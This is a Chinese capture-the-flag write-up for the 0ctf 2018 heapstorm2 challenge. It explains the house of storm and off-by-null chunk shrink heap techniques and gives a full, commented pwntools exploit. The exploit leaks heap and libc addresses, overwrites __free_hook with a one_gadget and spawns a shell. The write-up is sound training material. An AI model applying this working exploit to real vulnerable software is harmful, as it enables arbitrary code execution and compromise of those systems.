（BUUCTF）0ctf_2018_heapstorm2

前置知识

• unsortedbin attack
• largebin attack
• off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm，本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of storm和chunk shrink两个方面。看完了原理，可以结合我的exp，有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到：

• 任意地址的chunk分配

你需要完成：

• 控制一个unsortedbin和largebin中的chunk，且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm：通过largebin attack在fake chunk的header上错位写下一个0x55或0x56的size，并在fake chunk的bk处写一个堆地址。控制unsortedbin的chunk的bk指向要申请的fake chunk。申请一个大小为0x50的chunk，先触发largebin attack，从而根据unsortedbin的bk申请到fake chunk，完成任意地址写。

这实际上分为两个部分，首先，我们要知道，unsortedbin attack并非只能在指定位置写一个libc地址，还可以类似于fastbin attack完成一个chunk的分配，只是条件比较苛刻。一句话就是需要unsortedbin的bk指向的chunk的bk可写，其size合法。

那么我们便可以利用largebin attack来完成这些条件：

• largebinattack可以写两个值
• 第一个值错位写要申请的地方的size，使得堆地址最开始的0x55或者0x56为size
• 第二个值写要申请的地方的bk，使得bk为一个可写的值
• 然后申请大小为0x50的chunk即可申请到unsortedbin的bk

house of storm具体流程

• 假设要分配到fake chunk
• 写unsortedbin的chunk的bk为fake chunk的地址
• 写largebin中的chunk的bk为fake chunk + 0x18 - 0x10
• 写largebin中的chunk的bk_nextsize为fake chunk + 0x3 - 0x20
• 申请一个大小为0x50的chunk

chunk shrink

上面我们提到需要控制unsortedbin和largebin中的chunk，这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用，相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法：小大小三个chunk（不能是fastbin大小），设为abc。b为0x510（例如），在其最末尾写fake prev_size为0x500，释放b置入unsortedbin，通过a进行off by null将b的size变为0x500。申请几个加起来为0x500的chunk，第一个不能为fastbin大小，例如三个为0x88，0x18，0x448，设为def。先后释放d和c，将会导致最开始申请的b和c合并，由此再次申请回d，再申请回e可以获得重叠的e指针。

exp

from pwn import *
from LibcSearcher import *

filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Command: '

menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''

menu_del = 3
del_index_words = 'Index: '

menu_show = 4
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node4.buuoj.cn', )


    # 第一步，利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
    add(size=0x18) # 0
    add(size=0x508) # 1
    add(size=0x18) # 2
    add(size=0x20) # 3防止合并

    # 待会我们会将size为0x510的chunk进行off by null缩小到0x500，因此先在末尾写一个fake prev_size为0x500
    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=1, size=len(payload), content=payload)

    # 将大小为0x510的chunk添加到unsortedbin中去
    delete(index=1)

    # 通过chunk 0进行off by null，来将unsortedbin中的大小为0x510的chunk改为0x500
    payload = b'a'*(0x18 - 12)
    edit(index=0, size=len(payload), content=payload)

    # 申请两个chunk，加起来为0x500，且unsortedbin此时为空了
    add(size=0x18) # 1
    add(size=0x4d8) # 4

    # 释放chunk1和chunk2，chunk2释放的时候由于prev_inuse=0，而prev_size为0x510，因此会将最开始的chunk0和chunk1整个部分合并
    delete(index=1)
    delete(index=2)

    # 再申请回来从而获得重叠指针
    add(size=0x18) # 1
    add(size=0x4d8) # 2，和4重合，大小为0x4e0
    add(size=0x20) # 5

    # 下面这一部分和上面一模一样，没有任何区别
    add(size=0x18) # 6
    add(size=0x508) # 7
    add(size=0x18) # 8
    add(size=0x20) # 9防止合并

    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=7, size=len(payload), content=payload)

    delete(index=7)

    payload = b'a'*(0x18 - 12)
    edit(index=6, size=len(payload), content=payload)

    add(size=0x38) # 7
    add(size=0x4b8) # 10

    delete(index=7)
    delete(index=8)

    add(size=0x38) # 7
    add(size=0x4b8) # 8，和10重合，大小为0x4c0
    add(size=0x20) # 11

    # 先后将小的和大的置入unsortedbin，然后申请回大的。
    # 由于unsortedbin是先遍历先进入的（FIFO），因此会将小的置入largebin
    # 再释放大的，大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
    delete(index=8)
    delete(index=2)
    add(size=0x4d8) # 2
    delete(index=2)

    # 接下来开始house of storm。
    # 我们设fake chunk在0x13370800前面0x20，以便于我们控制这一部分
    array = 0x13370800
    fake_chunk = array - 0x20

    # unsortedbin的chunk中的bk改为要申请的chunk，这里即是我们的fake chunk
    payload = p64(0) + p64(fake_chunk)
    edit(index=4, size=len(payload), content=payload)

    # laregbin attack可以同时写两个值为堆地址，bk的值+0x10处，以及bk_nextsize+0x20处
    # 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
    # 因为堆地址开头要么为0x55，要么为0x56，因此错位可以写出来一个fake chunk的size
    payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
    payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
    edit(index=10, size=len(payload), content=payload)

    # 由于我们这里是mmap出来的空间，因此申请的chunk的mmap位必须为1，因此只有当堆地址为0x56开头才对
    # 因此爆破。概率为1/2
    try:
        add(size=0x48) # 2
        payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
        edit(index=2, size=len(payload), content=payload)
    except EOFError:
        sh.close()
        continue
    
    # 申请到了，开始编辑，首先将两个用于加密的值都写为0，然后数组的第三个写为0x13377331从而可以打印
    # 然后根据数组的排列，下一个我们写0x133707e3，这里是一个堆地址
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    # 根据排列，现在index=1的话也就是0x133707e3，便可以泄露出堆地址
    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('heap_base', heap_leak)
    heap_base = heap_leak - 0x40


    # 同理，我们再打印libc。heap_base + 0x50的地方有一个libc地址。
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('libc_leak', libc_leak)
    libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
    leak_info('libc.address', libc.address)

    # 接下来只需要以同样方式来打free_hook即可！
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    payload = p64(libc.address + one_gadget[1])
    edit(index=1, size=len(payload), content=payload)
    
    delete(index=0)
    sh.interactive()
    # debug()
    break

参考内容

[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com